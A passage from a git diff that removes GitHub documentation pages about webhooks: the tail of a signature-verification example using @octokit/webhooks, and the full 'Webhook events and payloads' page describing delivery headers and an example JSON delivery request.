from "@octokit/webhooks"; - -const webhooks = new Webhooks({ - secret: process.env.WEBHOOK_SECRET, -}); - -const handleWebhook = async (req, res) => { - const signature = req.headers["x-hub-signature-256"]; - const body = await req.text(); - - if (!(await webhooks.verify(body, signature))) { - res.status(401).send("Unauthorized"); - return; - } - - // The rest of your logic here -}; -``` - -## Troubleshooting - -{% data reusables.webhooks.signature-troubleshooting %} - -## Further reading - -* [AUTOTITLE](/webhooks/using-webhooks/handling-webhook-deliveries) -* [AUTOTITLE](/webhooks/using-webhooks/best-practices-for-using-webhooks) diff --git a/content/webhooks/webhook-events-and-payloads.md b/content/webhooks/webhook-events-and-payloads.md deleted file mode 100644 index c58a82334800..000000000000 --- a/content/webhooks/webhook-events-and-payloads.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Webhook events and payloads -intro: Learn about when each webhook event occurs and what the payload contains. -redirect_from: - - /early-access/integrations/webhooks - - /v3/activity/events/types - - /webhooks/event-payloads - - /developers/webhooks-and-events/webhook-events-and-payloads - - /developers/webhooks-and-events/webhooks/webhook-events-and-payloads - - /webhooks-and-events/webhooks/webhook-events-and-payloads - - /webhooks/webhooks/webhook-events-and-payloads -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks -shortTitle: Webhook events & payloads -autogenerated: webhooks ---- - -## About webhook events and payloads - -You can create webhooks that subscribe to the events listed on this page. To limit the number of HTTP requests to your server, you should only subscribe to the specific events that you plan on handling. For more information, see [AUTOTITLE](/webhooks/creating-webhooks). - -Each webhook event on this page includes a description of the webhook properties for that event. If the event has multiple actions, the properties corresponding to each action are included. - -Each event is only available to specific types of webhooks. For example, an organization webhook can subscribe to the `team` event, but a repository webhook cannot. The description of each webhook event lists the availability for that event. For more information, see [AUTOTITLE](/webhooks/types-of-webhooks). - -### Payload cap - -{% data reusables.webhooks.payload_cap %} - -### Delivery headers - -HTTP POST payloads that are delivered to your webhook's configured URL endpoint will contain several special headers: - -* `X-GitHub-Hook-ID`: The unique identifier of the webhook. -* `X-GitHub-Event`: The name of the event that triggered the delivery. -* `X-GitHub-Delivery`: A globally unique identifier (GUID) to identify the event.{% ifversion ghes %} -* `X-GitHub-Enterprise-Version`: The version of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload. -* `X-GitHub-Enterprise-Host`: The hostname of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload.{% endif %} -* `X-Hub-Signature`: This header is sent if the webhook is configured with a `secret`. This is the HMAC hex digest of the request body, and is generated using the SHA-1 hash function and the `secret` as the HMAC `key`. `X-Hub-Signature` is provided for compatibility with existing integrations. We recommend that you use the more secure `X-Hub-Signature-256` instead. -* `X-Hub-Signature-256`: This header is sent if the webhook is configured with a `secret`. This is the HMAC hex digest of the request body, and is generated using the SHA-256 hash function and the `secret` as the HMAC `key`. For more information, see [AUTOTITLE](/webhooks/using-webhooks/securing-your-webhooks). -* `User-Agent`: This header will always have the prefix `GitHub-Hookshot/`. -* `X-GitHub-Hook-Installation-Target-Type`: The type of resource where the webhook was created. -* `X-GitHub-Hook-Installation-Target-ID`: The unique identifier of the resource where the webhook was created. - -To see what each header might look like in a webhook payload, see [Example webhook delivery](#example-webhook-delivery). - -### Example webhook delivery - -You can choose to have payloads delivered in JSON format (`application/json`) or as URL-encoded data (`x-www-form-urlencoded`). Following is an example of a webhook POST request that uses the JSON format. - -```shell -> POST /payload HTTP/1.1 - -> X-GitHub-Delivery: 72d3162e-cc78-11e3-81ab-4c9367dc0958{% ifversion ghes %} -> X-GitHub-Enterprise-Version: 2.15.0 -> X-GitHub-Enterprise-Host: example.com{% endif %} -> X-Hub-Signature: sha1=7d38cdd689735b008b3c702edd92eea23791c5f6 -> X-Hub-Signature-256: sha256=d57c68ca6f92289e6987922ff26938930f6e66a2d161ef06abdf1859230aa23c -> User-Agent: GitHub-Hookshot/044aadd -> Content-Type: application/json -> Content-Length: 6615 -> X-GitHub-Event: issues -> X-GitHub-Hook-ID: 292430182 -> X-GitHub-Hook-Installation-Target-ID: 79929171 -> X-GitHub-Hook-Installation-Target-Type: repository - -> { -> "action": "opened", -> "issue": { -> "url": "{% data variables.product.rest_url %}/repos/octocat/Hello-World/issues/1347", -> "number": 1347, -> ... -> }, -> "repository" : { -> "id": 1296269, -> "full_name": "octocat/Hello-World", -> "owner": { -> "login": "octocat", -> "id": 1, -> ... -> }, -> ... -> }, -> "sender": { -> "login": "octocat", -> "id": 1, -> ... -> } -> } -``` - -